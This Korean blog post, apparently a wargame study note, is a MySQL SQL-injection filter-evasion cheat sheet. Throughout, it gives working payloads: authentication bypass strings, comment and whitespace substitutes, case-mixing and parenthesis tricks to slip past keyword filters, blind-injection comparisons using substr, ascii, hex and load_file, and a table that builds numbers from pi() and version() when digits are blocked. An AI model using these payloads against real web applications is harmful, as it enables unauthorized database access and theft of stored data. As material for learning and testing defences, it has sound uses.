ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection 필터 우회
    Legacy/Web Hacking 2014. 12. 3. 14:40
    728x90

    출처 : http://luxs1t.tistory.com/28

               http://luxs1t.tistory.com/65

     

     

    우선 두서없이 필터링 우회 부분만 집중적으로 다뤄 보겠다.


    우선 필터링에 대해선 크게 3가지로 나뉜다


    1) MySQL syntax


    - MySQL은 상당히 말랑말랑한 문법체계를 가지고 있다. 


    무슨말인고 하니 SeLeCT와 같이 Keyword는 대소문자를 구분하지않고 select * from users와 같은 query도 공백을 필터링하는경우 %0a같은 delimiter를 쓸수 있고 또한 select(*)from(users); 와같이 공백이 필요한 부분에 ()를 감싸는것도 적법한 문장이다.


    이러한 MySQL의 특성을 이용해 여러가지 필터링을 우회 할 수 있습니다.


    2) Keyword Filter


    - 인젝션을 가능케 하는 여러가지 키워드 (union, select, limit, having, like) 등등의 필터링은 인젝션을 얼핏 봐서는 불가능하게 만든다. 이런경우에 mysql내 다양한 내장함수들을 사용함으로써 대체 가능하다.


    3) Function filter.


    - 익히잘 알려진 substr(), ascii()와 같은 built-in function들이 필터당했을때 다소 알려지지 않은 함수들의 조합등으로 인젝션이 가능하다. 물론 인젝션의 목적 / 취약가능한 부위에 따라 달라 질 수 있다.

     


    하나하나 씩 다뤄 보자

     

    MySQL Syntax

    - 주석

    여러가지 방법이 존재 한다.

    #, -- x (--다음에는 공백이 항상 따라와야 한다. 그후 아무문자 x 하나) , /**/ (Mysql 5.1 버젼 이하) , ;%00

    예를들어 다음과 같은 인젝션이 가능하다

    $name=$_GET['name']

    select data from users where name='$name';

     

    ' or 1=1;%00

     

    -연산자

     

    다음과 같은 연산자 들이 있다. ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN. 적절히 활용해 주자

    ' or 1 rlike 1

     

    -공백

     

    뭐 딱히 덧 붙일 설명이없다. %20 %09 %0a %0b %0c %0d  /**/ 또한 () 와 같이 (, )연달아 사용하면 하나의 공백으로 인식된다.

    'or+(1)sounds/**/like“1“--%a0-



     

    -문자열

    MySQL은 위해서도 설명햇다 싶이 말랑말랑한 문법을 가지고 있기때문에 파일 데이터형간 비교가 자유롭다.

    긴말은 생략하고 예를 살펴보자

    ' or “a“ = 'a      <- "a"와 'a'가 = 연산자에 의해 동일하게 취급된다. 하지만 == <- 연산자를 쓴다면 type까지 비교하므로 false

     

    ' or 'a' = 0b1100001 # binary

    ' or 'a' = 0x61


     

    -상수들

     true, false, null, \N, current_timestamp,

     

     

    -환경 변수들

     @@version, @@datadir, ...

    mysql> show variables; // 272 rows in set (실제로 272개의 변수들이 존재한다 by default)

     

     

    -내장 함수들:

    정말 주옥같이 쓸수 잇는 함수들이다. query문 내부에서 실제로 mysql로 전달될때 함수에 의해 계산된 결과값이 리턴되면서 query가 완성된다. 이 내장 함수들을 빠삭하게 외우고 활용하는게 바로 sqli (sql injection)의 꽃

     

    자주 쓰이는놈 몇가지, substr(), version(), pi(), pow(), char(), substring(), ...


    -형변환 

     

    C언어의 type cast와는 다르게 암묵적으로 형변환을 한다

    ' or 1 = true # true=1, false=0

    ' or 1 # true

    ' or version() = 5.1 # 5.1.36-community-log

    ' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1

    select * from users where 'a'='b'='c'

    select * from users where ('a'='b')='c'

    select * from users where (false)='c'

    select * from users where (0)='c'

    select * from users where (0)=0 

    select * from users where true

    select * from users

    Shortest authentication bypass:           '=' 

    select data from users where name = ''=''


     

     

    Keyword들이 필터되었을때 어떻게 해야 할지 살펴보자.

    일단 Mysql에서 Reserve된 Keyword들이 여러게있다.

    select, from, where, in, like, limit 등등.

    기본적으로 이 키워드들은 대소문자를 구별하지 않는다.

    따라서 SeLect나 select나 다 똑같은 값으로 읽히는것이다.

     

    하지만 이거랑 반대로 php는 모든 문자열에대해 case sensitive이다. 대소문자를 구별한다는것이다.

    만약에 php에서 단순히 select만을 필터링한다면, SELeCT같은 방식으로 우회를 할 수 있고 여전히 쿼리에 들어갔을때 제역할을 하는겄이다.

     

    자 이제 키워드들이 막혔을 때는 같은 역할을 하되 비교적 덜알려져 있는 키워드들이나 함수들을 이용하는것이다.

     

    1) And 와 OR

    || 와 &&를 사용한다.

    ex) 1 || '1=1

    2) Union select를 연달아 필터링 하는경우

    "union select" 라는 연달아 붙어있는 문자열을 특수하게 필터링하는경우

    union(select(pass)from(users)) 와같이 ()를 씀으로 필터링을 우회 할 수 있다 기본적으로 공백에도 적용되는 기법인데. 공백을 필요로 하는 부분을 ()로 묶어버리면된다.

    예) select * from table where users = ~~일때

    select(*)from(table)where(users)

    또한 /**/도 사용할수 있다. union/*!*/select 혹은 union%0aselect.

    %0a가 php내에서 개행함으로써 실제로 쿼리에 들어갈때 공백같은 역할을 하는것이다.

    혹은 두가지 이상의 argument를 받을경우

    verify.php?id=1 union/*&pass=*/select ~~~

    이렇게 두 인자 사이에 넣음으로써도 우회가능하다.

     

    3) Union 자체가 필터링 당했을경우

    서브쿼리 혹은 substr, substring, left , right, lpad, rpad등을 이용해서 blind injection을 사용하자.

    한가지 주위할점은 서브쿼리는 항상 ()로 둘러 쌓여야한다는것과 결과값이 항상 하나의 열만을 리턴해야된다는것! 웹해킹문제들에서도 자주 쓰이는 훼이크

     

    4) Limit 필터

    group by  + having을 쓰거나

    group_concat 혹은 max, min 등의 보조함수를 쓰자. Limit은 상당히 많은 역할을 하는 키워드라 필터링 되면 짜증난다.

    5) Group 필터

    where 나 having문을 써서 특수한 조건을 첨가하도록 만들어주자.

    6) Having/Where 필터

    이럴경우 substr, group_concat 등을 이용해 한문자씩 비교해어야 한다.

    group_concat은 default로 앞에서부터 1024 chars만큼만 읽어 온다는것 주의!

    7) Select 필터

    이경우 상당히 난감하다. 하지만 FILE privilege가 있을경우 (root)

    ' and substr(load_file('file'),locate('DocumentRoot', (load_file('file')))+length('DocumentRoot'),10)='a

    load_file/ outfile 등을 적절히 이용해서 읽을 수 있다. 일종의 블라인드 인젝션

    혹은 컬럼 명을 알경우 / 추측하여

    ' and data is not null# 등과같이도 가능. 컬럼명을 모를때 procedure analyse()는 유용하다.

    ' procedure analyse()#. 유의할점은 procedure analyse는 현재 쿼리에서 사용되고 있는 column에 관한 정보만 뿌려준다는점

    혹은 ifnull(nullif()), case when, if() 등을 적절히 이용해 참을 만들어 줄 수도 있다.

    where name=' ' 이라고할때  '-0#은 참이라는 사실을 이용해

    '-if(name='Admin',1,0)# 과 같이 사용가능.

    -----------------------------------------------------------------------------

    자이제 키워드 필터링이 되었을때 주로 내장 function들을 사용했다는것을 알수 있다 또한 ' ' 를 사용하는 문자열 까지도. 하지만 functino들 까지 필터링되고 매직쿼터가 켜져서 ' '를 사용하지 못할경우 어떻게 우회할 수 있을까

    일단 문자열은

    다음과 같이 가능하다

    ' and substr(data,1,1) = 'a'#
    ' and substr(data,1,1) = 0x61#

    ' and substr(data,1,1) = unhex(61)#

    ' and substr(data,1,1) = char(97)#

    다 'a'로 변환된다.

    얘내까지 막혔을경우

    ' and substr(data,1,1) = 'a'#
    ' and hex(substr(data,1,1)) = 61#
    ' and ascii(substr(data,1,1)) = 97#
    ' and ord(substr(data,1,1)) = 97#

    이젠 숫자로 변환시켜 비교 한다.

    또한 conv함수를 쓸수도 있다.

    conv(10,10,36) = 'a'

    또한 substr 대신

    substring, mid 함수가 있다는 점도 유용하다.

     

    ',' 콤마까지 꼼꼼하게 막아놨다면 어떻게 할가

    ->    substr(data from 1 for 1 )

    또 lpad, rpad, left, right(reverse함수와 같이) , insert 등을 쓸수있다.

     

    locate, instr, position 또한 유용

     

    숫자 필터링

    숫자가 필터링 되어있을때 +,-,*,% 등을 필터링 한다면.

    아래와 같은 cheat sheet또한 존재

    false !pi() 0            ceil(pi()*pi())                 10 ceil((pi()+pi())*pi()) 20
    true !!pi() 1             ceil(pi()*pi())+true          11 ceil(ceil(pi())*version()) 21
    true+true 2              ceil(pi()+pi()+version())   12 ceil(pi()*ceil(pi()+pi())) 22
    floor(pi()) 3             floor(pi()*pi()+pi())         13 ceil((pi()+ceil(pi()))*pi()) 23
    ceil(pi()) 4              ceil(pi()*pi()+pi())          14 ceil(pi())*ceil(version()) 24
    floor(version()) 5      ceil(pi()*pi()+version())   15 floor(pi()*(version()+pi())) 25
    ceil(version()) 6        floor(pi()*version())       16 floor(version()*version()) 26
    ceil(pi()+pi()) 7         ceil(pi()*version())        17 ceil(version()*version()) 27
    floor(version()+pi()) 8 ceil(pi()*version())+true  18 ceil(pi()*pi()*pi()-pi()) 28
    floor(pi()*pi()) 9 floor((pi()+pi())*pi())             19 floor(pi()*pi()*floor(pi())) 29


Designed by Tistory.